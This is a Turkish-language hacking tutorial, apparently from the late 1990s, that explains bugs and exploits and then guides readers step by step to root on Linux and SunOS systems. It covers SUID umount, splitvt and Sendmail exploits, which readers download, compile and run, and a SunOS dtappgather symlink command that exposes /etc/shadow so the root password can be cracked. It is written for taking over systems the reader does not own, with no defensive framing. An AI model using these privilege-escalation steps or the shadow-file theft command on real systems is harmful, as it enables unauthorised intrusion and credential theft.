
Bug Nedir?
Bug ,kısaca bir işletim sistemi üzerinde bazı hatalı programlar yüzünden meydana
gelen sistem açıklığıdır. Bu sistem üzerine kopyalanmış bir oyundan,bir mail
programından yada sistem üzerinde ki IRC programından bile meydana gelebilir. Bu
hatalar bizim sistem de r00t seviyesine çıkmamızı sağlarlar :-)
Exploit Nedir?
Exploitler , sistemde ki buglar sayesin de r00t seviyesine çıkabilmek için
yazılmış programlardır. Exploitler iki şekilde yazılırlar.Local ve Remote.Local
exploitleri kullanırken sistemin bir kullanıcısı olmak zorundasınızdır. Fakat
remote exploitleri sistem de kaydınız yokken kullanabilirsiniz.
Şimdi bu iki başlığı kavradıktan sonra ,olaya başlıyabiliriz. Gelin Exploit
lerle gücümüzü gösterelim :-))
mount/umount açığından başlayabiliriz mesela,
Sistemde /bin dizinine gidin ve umount yada mount isminde bir dosya arayın..
Eğer bulamadıysanız şu komutu yazabilirsiniz.
find / -name umount -print -xdev
Dosyanın nerde olduğunu bulduğunuzda, o dizine gidip dosyanın özelliklerini
görmek için şu komutu yazın,
ls -al um*
Eğer dosyanın sahibi r00t sa ,kesinlikle sistemi kapabiliriz.. Bakalım,
avanak:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998
umount
avanak:/bin#
Tamam , artık işler çok çok kolaylaştı. Şimdi işimiz bir exploit e kaldı.
Vereceğim exploit sayesinde sistemden takır takır r00t alabileceksiniz :-)
Exploit i Download etmek için buraya tık edin(umount.c).
Bu exploit i ,sisteme yollayıp orada compile etmelisiniz. Bunu yapmak için şu
komutu yazın.
gcc umount.c -o umount (umount yerine istediğiniz ismi yazabilirsiniz)
Gcc komutu sayesinde sistemde umount adında çalıştırılabilir bir dosya
yaratıcaksınız..
Not : Eger Exploit çalışmazsa,komutun başına ./ takısını koymayı deneyin. Ve
ardından 0 - 8 arası bir sayı
ekleyin.Şunun gibi;
./umount 4
yada
./umount 2
Ve sistem elleriniz de ! Artık herşey size kalmış.r00t un neler yapabileceğini
anlatmama gerek yok sanırım,
+-+-+-+-+-+-+
Eğer bu yol işe yaramazsa(ki bu beni bayağı şaşırtır),şimdi anlatıcağım yolu
denemeniz gerekicek. En sevdiğim Exploit bu diyebilirim. Çünkü en kolayı ve de
şu ana kadar bana hiç sorun yüzü göstermedi. "usr/bin" dizininde splitvt isminde
bir dosya arayın.Eğer dosya SUID ise yani sahibi r00t ise, olayı bitti
sayabiliriz. Bu exploiti sadece "Linux 2-0.3*" sistemlerde kullanabilirsiniz.Download
etmek için burayı tık edin.(sp.c)
Bakalım bu şey nasıl çalışıyor?
Dosyayı tabiki ilk olarak sisteme yollayın İlk önce değişikliği farketmeniz için
"whoami" komutu ile kim olduğunuzu ögrenin.Kullanıcı isminiz ortaya çıkıcak,
1. Dosyayı "gcc" derleyicisi ile exec(çalıştırılabilir) hale getirin, (gcc sp.c
sp)
2. Derlediğiniz dosyayı çalıştırın,
3. "splitvt" adlı dosyayı çalıştırın,
İşiniz bittikten sonra yine "whoami" komutunu çalıştırın.O da ne? r00t da kim
yahu? :-)
+-+-+-+-+-+-+
Eheu, bu da çalışmadı diyelim( ki olamaz mümküniyet yok) Tüm Linux
dağıtımlarında bulunan bir bug vardır. SendMail bug ı, eğer bugları takip
ediyorsanız ,kesinlikle duymuş olmanız lazım. Ben uzun süredir bu bug la
ilgilenmiyordum. Belki patch i bile çıkmıştır :( ..Ama denemek te zarar yok
diyorsanız bu kısa exploit i hemen download edin(sm.sh)
..Sisteme yollayın,
Şimdi dosyayı , chmod +x leyin.
chmod +x sm.sh
1 . Dosyayı çalıştırın,
2 . Sizi /tmp dizinine göndericek,
3 . "ls -l" yazın,
4 . Orda SUID bir sh dosyayı olduğunu göreceksiniz,
5 . "whoami" yazıp r00t olup olmadığınıza bakın, eğer değilseniz,
6 . "./sh" yazın, ve şimdi r00t olduğunuzu görebiliceksiniz..
+-+-+-++-+-+-+
Biraz Linux u birakıp diğer sistemlere göz atalım.Şimdi dalıcağımız sistem bir
SunOS.UnixBased bir sistem çok az farklılıkarı var.Mesela SunOS ta "gcc" komutu
yerine "cc" komutu kullanılıyor.Fakat bunlara pek ihtiyacımız yok.Çünkü şimdi
dalıcağımız sistem de exploit kullanmıyacağız.SunOS taki 3-4 tane bug tan bir
tanesi "dtappgather" komutunun bir bug i. Ben daha önceden bunu
bilmiyordum.Geçenlerde göz attığımız bir SunOS sistemde SegFault ,sayesinde
öğrenmiş oldum.Fakat o sistemde çalışmadı.Neyse fazla söze gerek yok
.Başlayalım,
Sistemde "dtappgather" adında bir dosya bulunması lazım,bu genelde /var/dt de
bulunuyor.Dosyayı buldunuzsa
sorun kalmadı.Bu dosya varsa "generic" de vardır.Tamam şimdi /var/dt/appconfig
dizinine girin.
$ ls -al
total 6
drwxr-xr-x 3 root root 512 Feb 3
14:22 .
drwxr-xr-x 5 root root 512 Jun 22
11:08 ..
drwxr-xr-x 4 root root 512 Jun 22
10:24 appmanager
$
"generic" dosyası appmanager adlı dizinin içinde bulunuyor.Şimdi burda
yazıcağımız tek bir komut /etc/shadow
dizinindeki unshadowed passwd dosyasını ele geçirmemizi sağlayacak.Komut şu ;
$ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
Bunu yazdıktan sonra elimize passwd dosyası geçiyor,artık onu bir Passwd Cracker
la kırdıktan sonra elimize r00t un
şifreside geçer.